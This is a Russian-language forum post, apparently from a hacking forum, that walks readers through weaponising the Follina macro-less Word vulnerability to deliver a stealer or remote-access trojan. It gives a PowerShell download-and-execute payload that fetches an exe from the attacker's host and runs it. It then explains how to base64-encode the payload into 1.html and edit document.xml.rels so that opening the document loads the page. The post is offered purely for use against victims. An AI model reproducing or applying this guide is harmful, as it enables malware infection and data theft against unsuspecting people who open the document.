Follina - Macro-less attack - 0 Day

[Johny]

​

 ​

 ​

тыц и тыц​

 

[Johny]

При запуски doc будет подгружаться exe,файлы которые нам понадобиться тыц​

 ​

Заходим на хостинг , я беру бесплатный free.sprinthost.ru (не реклама).​

 ​

Переходим в Файловый менеджер​

 ​

​

 ​

Загружаем 1.html (как его изменить расписано снизу) и ваш [tooltip=9]стиллер[/tooltip] или [tooltip=103]ратник[/tooltip]​

 

 
Переходим на сайт base64encode.org и вводим.

Get-Process -Name msdt|Stop-Process;powershell -nop -c New-Item -Path "C:\" -Name "temp" -ItemType Directory
(New-Object System.Net.WebClient).DownloadFile("http://hosting/file.exe","C:\temp\file.exe")
Start-Process ("C:\temp\file.exe")

Вместо hosting нужно ввести ваш домен который мы создали выше , а вместо file.exe название вашего exe которого мы загрузили на хостинг .Потом всё это перекидываем на сайт , после нажимаем на encode и копируем что получилось.​

 

​

 ​

Разархивируем файлы которые скачали , открываем 1.html через текстовый редактор листаем в самый вниз и находим "********MMMMMMM"​

 ​

​

 ​

Вместо "********MMMMMMM" вставляем что выдал base64encode.org , после сохраняем файл.​

 ​

После того как наш хостинг и файл готов, открываем follina.doc через 7-ZIP и переходим в follina.doc\word\_rels\ и находим файл document.xml.rels ,нажимаем правой кнопкой, редактировать.​

 ​

​

 ​

Вместо "ССЫЛКА НА САЙТ" вводим ссылку на хостинг и 1.html , должно получиться так http://hosting/1.html​

 

 
Сохраняем , и получаем документ который при открытие будет подгружать ваш файл с хостинга и запускать его .
 
Если выходит данная картина , то всё работает корректно.
 

 
© copyright